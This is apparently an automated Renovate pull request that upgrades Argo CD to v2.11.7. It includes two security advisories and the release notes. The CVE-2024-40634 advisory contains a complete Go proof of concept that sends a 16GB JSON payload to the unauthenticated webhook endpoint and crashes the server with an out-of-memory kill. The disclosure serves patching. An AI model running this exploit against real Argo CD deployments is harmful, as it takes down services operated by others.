Update module github.com/argoproj/argo-cd/v2 to v2.11.7 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
github.com/argoproj/argo-cd/v2	v2.11.4 -> v2.11.7

GitHub Vulnerability Alerts

CVE-2024-40634

Summary

This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.

Details

The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.

The fix would be to enforce a limit on the size of the request being parsed.

PoC

Port-forward to the argocd-server service, like so:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import (
	"crypto/tls"
	"io"
	"net/http"
)

// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
	size int64 // Total size to generate
	read int64 // Bytes already generated
}

// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
	if r.read >= r.size {
		return 0, io.EOF // Finished generating
	}

	start := false
	if r.read == 0 {
		// Start of JSON
		p[0] = '{'
		p[1] = '"'
		p[2] = 'd'
		p[3] = 'a'
		p[4] = 't'
		p[5] = 'a'
		p[6] = '"'
		p[7] = ':'
		p[8] = '"'
		n = 9
		start = true
	}

	for i := n; i < len(p); i++ {
		if r.read+int64(i)-int64(n)+1 == r.size-1 {
			// End of JSON
			p[i] = '"'
			p[i+1] = '}'
			r.read += int64(i) + 2 - int64(n)
			return i + 2 - n, nil
		} else {
			p[i] = 'x' // Dummy data
		}
	}

	r.read += int64(len(p)) - int64(n)
	if start {
		return len(p), nil
	}
	return len(p) - n, nil
}

func main() {
	// Initialize the custom reader with the desired size (16GB in this case).
	payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
	reader := &DummyJSONReader{size: payloadSize}

	// HTTP client setup
	httpClient := &http.Client{
		Timeout: 0, // No timeout
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
	if err != nil {
		panic(err)
	}

	// Set headers
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-GitHub-Event", "push")

	resp, err := httpClient.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	println("Response status code:", resp.StatusCode)
}

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.6
v2.10.15
v2.9.20

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by Jakub Ciolek

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

CVE-2024-41666

Argo CD v2.11.3 and before, discovering that even if the user's p, role:myrole, exec, create, */*, allow permissions are revoked, the user can still send any Websocket message, which allows the user to view sensitive information. Even though they shouldn't have such access.

Description

Argo CD has a Web-based terminal that allows you to get a shell inside a running pod, just like you would with kubectl exec. However, when the administrator enables this function and grants permission to the user p, role:myrole, exec, create, */*, allow, even if the user revokes this permission, the user can still perform operations in the container, as long as the user keeps the terminal view open for a long time. CVE-2023-40025 Although the token expiration and revocation of the user are fixed, however, the fix does not address the situation of revocation of only user p, role:myrole, exec, create, */*, allow permissions, which may still lead to the leakage of sensitive information.

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.7
v2.10.16
v2.9.21

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by
Shengjie Li, Huazhong University of Science and Technology
Zhi Li, Huazhong University of Science and Technology
Weijie Liu, Nankai University

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

---

Release Notes

argoproj/argo-cd (github.com/argoproj/argo-cd/v2)

v2.11.7

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.7/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.7/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Other work

• 05edb2a: feat: verify rbac on each message and not just during handshake (@​pasha-codefresh)

Full Changelog: argoproj/argo-cd@v2.11.6...v2.11.7

v2.11.6

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.6/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.6/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

• b980386: fix: cherry-pick #​18761 (v2.11) (#​19108) (@​blakepettersson)

Other work

• 540e3a5: Merge commit from fork (@​pasha-codefresh)

Full Changelog: argoproj/argo-cd@v2.11.5...v2.11.6

v2.11.5

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.5/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.5/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

• c0f780c: fix(cli): Get Redis password from secret in loadClusters() (#​18951) (#​18956) (@​gcp-cherry-pick-bot[bot])

Other work

• d1c052d: chore: update gitops-engine (2.11) (#​19036) (@​agaudreault)

Full Changelog: argoproj/argo-cd@v2.11.4...v2.11.5

---

Configuration

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---

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---

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[renovate]

ℹ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

• 1 additional dependency was updated

Details:

Package	Change
github.com/argoproj/gitops-engine	v0.7.1-0.20240702153804-5995eca2fb63 -> v0.7.1-0.20240715141605-18ba62e1f1fb